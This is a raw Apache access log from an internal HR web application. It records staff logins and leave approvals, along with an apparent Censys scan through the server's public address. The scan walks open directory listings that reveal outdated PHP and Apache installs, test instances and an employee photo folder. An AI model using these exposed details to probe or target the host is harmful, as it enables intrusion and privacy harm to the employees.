"http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:18:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:18:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:19:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:19:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:11:19:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 12112 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:19:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 12112 192.168.139.16 - - [03/Dec/2025:11:19:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:11:19:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 3998 100.64.0.1 - - [03/Dec/2025:11:21:13 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:11:21:13 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:11:21:16 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:11:21:16 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:11:21:17 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:17 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:11:21:17 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [03/Dec/2025:11:21:17 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [03/Dec/2025:11:21:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:11:21:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:23 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:11:21:23 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:23 +0800] "GET /eHR HTTP/1.1" 301 238 100.64.0.1 - - [03/Dec/2025:11:21:23 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:23 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:11:21:24 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:24 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [03/Dec/2025:11:21:24 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:24 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [03/Dec/2025:11:21:24 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:24 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 100.64.0.1 - - [03/Dec/2025:11:21:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [03/Dec/2025:11:21:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 100.64.0.1 - - [03/Dec/2025:11:21:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:25 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 100.64.0.1 - - [03/Dec/2025:11:21:26 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:26 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 100.64.0.1 - - [03/Dec/2025:11:21:26 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:26 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 100.64.0.1 - - [03/Dec/2025:11:21:26 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:26 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 100.64.0.1 - - [03/Dec/2025:11:21:27 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:27 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 100.64.0.1 - - [03/Dec/2025:11:21:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 100.64.0.1 - - [03/Dec/2025:11:21:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [03/Dec/2025:11:21:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 100.64.0.1 - - [03/Dec/2025:11:21:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 100.64.0.1 - - [03/Dec/2025:11:21:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 100.64.0.1 - - [03/Dec/2025:11:21:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 100.64.0.1 - - [03/Dec/2025:11:21:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 100.64.0.1 - - [03/Dec/2025:11:21:31 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:31 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 100.64.0.1 - - [03/Dec/2025:11:21:31 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:31 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 100.64.0.1 - - [03/Dec/2025:11:21:31 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:31 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 100.64.0.1 - - [03/Dec/2025:11:21:32 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:32 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 100.64.0.1 - - [03/Dec/2025:11:21:32 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:32 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 100.64.0.1 - - [03/Dec/2025:11:21:33 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:33 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 100.64.0.1 - - [03/Dec/2025:11:21:33 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:33 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 100.64.0.1 - - [03/Dec/2025:11:21:33 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:33 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 100.64.0.1 - - [03/Dec/2025:11:21:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 100.64.0.1 - - [03/Dec/2025:11:21:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [03/Dec/2025:11:21:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [03/Dec/2025:11:21:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 100.64.0.1 - - [03/Dec/2025:11:21:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [03/Dec/2025:11:21:35 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:35 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 100.64.0.1 - - [03/Dec/2025:11:21:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [03/Dec/2025:11:21:37 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:37 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [03/Dec/2025:11:21:37 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:37 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:11:21:38 +0800] "GET /eHR1 HTTP/1.1" 301 239 100.64.0.1 - - [03/Dec/2025:11:21:38 +0800] "GET /eHR1 HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:38 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:11:21:38 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:38 +0800] "GET /idcard HTTP/1.1" 301 241 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:38 +0800] "GET /idcard HTTP/1.1" 301 241 100.64.0.1 - - [03/Dec/2025:11:21:39 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:11:21:39 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:11:21:45 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:11:21:45 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:11:21:46 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:11:21:46 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.12.46 - - [03/Dec/2025:11:31:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:04 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.12.46 - - [03/Dec/2025:11:31:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.12.46 - - [03/Dec/2025:11:31:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.12.46 - - [03/Dec/2025:11:31:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:25 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.46 - - [03/Dec/2025:11:31:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:11:31:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - 192.168.12.46 - - [03/Dec/2025:11:31:32 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - 